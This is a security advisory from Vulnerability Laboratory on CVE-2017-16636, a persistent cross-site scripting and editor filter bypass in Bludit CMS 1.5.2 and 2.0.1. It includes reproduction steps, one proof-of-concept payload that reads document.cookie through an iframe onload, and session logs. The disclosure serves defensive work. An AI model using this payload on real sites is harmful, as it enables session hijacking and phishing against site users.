Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)VULNERLAB:2000
Document Title:
===============
Bludit 1.5.2 & 2.0.1 - Filter Bypass & Cross Site Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2000
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-16636
CVE-ID:
=======
CVE-2017-16636
Release Date:
=============
2017-10-30
Vulnerability Laboratory ID (VL-ID):
====================================
2000
Common Vulnerability Scoring System:
====================================
3.3
Vulnerability Class:
====================
Cross Site Scripting - Persistent
Current Estimated Price:
========================
500€ - 1.000€
Product & Service Introduction:
===============================
Bludit is a simple web application to make your own site or blog in seconds, it's completly free and open source.
Bludit uses flat-files (text files in JSON format) to store the posts and pages, you don't need to install or configure
a database. You only need a web server with PHP support.
(Copy of the Homepage: https://www.bludit.com/en/ )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a filter bypass vulnerability in the official Bludit v1.5.2 & v2.0.1 content management system.
Vulnerability Disclosure Timeline:
==================================
2017-10-30: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Bludit
Product: Bludit - Content Management System (Web-Application) 1.5.2
Bludit
Product: Bludit - Content Management System (Web-Application) 2.0.1
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Low
Technical Details & Description:
================================
A cross site scripting web vulnerability and a filter bypass issue has been discovered in the official Bludit v1.5.2 CMS.
The vulnerability allows remote attackers to inject own malicious script code on the application-side of affected web modules
or service function. The filter bypass issue allows to evade the filter controls to trigger an execution of a payload.
The vulnerability is located in the new page, new category and edit post function body message context. Remote attackers are able
to bypass the basic editor validation to trigger a cross site scripting vulnerability. The attack vector of the issue is persistent
and the request method to inject via editor is GET. To save the editor context the followup post method request must be processed
to perform the attack via application-side.
The basic validation of the editor does not allow to inject script codes and blocks the context. Attackers can inject the code
by usage of the editor tag which are not recognized by the basic validation. Thus allows a restricted user account to inject
malicious script code to perform a persistent attack against higher privilege web-application user accounts.
The security risk of the issue is estimated as medium with a cvss (common vulnerability scoring system) count of 3.3.
Exploitation of the web vulnerability requires low privileged web-application user account and only low user interaction.
Successful exploitation of the vulnerability results in persistent phishing attacks, session hijacking, persistent
external redirect to malicious sources and persistent manipulation of affected or connected web module context.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] Editor - (New Page & Edit Post)
[+] New Category - (Input Fields)
Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers with low privileged user account and with low user interaction.
For security demonstration or to reproduce follow the provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Open the page web-application
2. Move to the edit-post, edit-category or new-page module
Note: Now the editor will appear
3. Include the payload to the body message input or as name value to the category input field
Note: The payload requires the tags used for the format to bypass the basic validation
4. Save or preview the post to trigger the execution point
5. Successful reproduce of the filter bypass vulnerability!
Edit Post, Edit Category & New Page (Editor)
https://bludit.localhost:8000/./edit-post/
https://bludit.localhost:8000/./new-page/
https://bludit.localhost:8000/website/admin/new-category
PoC: Exploitation (comment_name)
([!http](http://>"<img src="evil.source">)://>"<iframe src=evil.source onload=alert(document.cookie)>)]
--- PoC Session Logs [POST] ---
Status: 200[OK]
GET https://bludit.localhost:8000/bl-content/uploads/[![]([MALICIOUS PAYLOAD]
Mime Type[text/html]
Request Header:
Host[bludit.localhost:8000]
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0]
Referer[https://bludit.localhost:8000/admin/edit-post/img20img-srcx]
Cookie[BLUDIT-KEY=...780...dc5...]
Connection[keep-alive]
Response Header:
Server[Apache/2.2.15 (Red Hat)]
Content-Length[4185]
Content-Type[text/html; charset=UTF-8]
Keep-Alive[timeout=15, max=100]
Connection[Keep-Alive]
-
Status: 302[Found]
GET https://bludit.localhost:8000/admin/edit-post/evil.source[PAYLOAD EXECUTION POINT!]
Mime Type[text/html]
Request Header:
Host[bludit.localhost:8000]
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0]
Referer[https://bludit.localhost:8000/admin/edit-post/img20img-srcx]
Cookie[BLUDIT-KEY=...780...dc5...]
Connection[keep-alive]
Cache-Control[max-age=0]
Response Header:
Server[Apache/2.2.15 (Red Hat)]
Location[/admin/manage-posts]
Content-Type[text/html; charset=UTF-8]
Keep-Alive[timeout=15, max=100]
Connection[Keep-Alive]
-
Status: 302[Found]
GET https://bludit.localhost:8000/admin/edit-post/evil.source[PAYLOAD EXECUTION POINT!]
Mime Type[text/html]
Request Header:
Host[bludit.localhost:8000]
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Referer[https://bludit.localhost:8000/admin/edit-post/img20img-srcx]
Cookie[BLUDIT-KEY=...780...dc5...]
Connection[keep-alive]
Upgrade-Insecure-Requests[1]
Response Header:
Server[Apache/2.2.15 (Red Hat)]
Location[/admin/manage-posts]
Connection[Keep-Alive]
-
Status: 200[OK]
GET https://bludit.localhost:8000/website/admin/evil.source[PAYLOAD EXECUTION POINT!]
Mime Type[text/html]
Request Header:
Host[bludit.localhost:8000]
User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0]
Accept[*/*]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate, br]
Referer[https://bludit.localhost:8000/website-story/admin/categories]
Cookie[BLUDIT-KEY=...780...dc5...]
Connection[keep-alive]
Response Header:
Server[nginx]
Content-Type[text/html; charset=UTF-8]
Connection[keep-alive]
Strict-Transport-Security[max-age=31557600; includeSubDomains]
Reference(s):
https://bludit.localhost:8000/
https://bludit.localhost:8000/bl-content/
https://bludit.localhost:8000/bl-content/uploads/
https://bludit.localhost:8000/admin/
https://bludit.localhost:8000/admin/edit-post/
https://bludit.localhost:8000/website/admin/new-category
Security Risk:
==============
The security risk of the filter bypass and cross site scripting web vulnerability is estimated as medium. (CVSS 3.3)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or
implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any
case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its
suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental
or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface
websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories
or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails,
phone numbers, conversations or anything else to journalists, investigative authorities or private individuals.
Domains: www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission.
Copyright © 2017 | Vulnerability Laboratory - [Evolution Security GmbH]™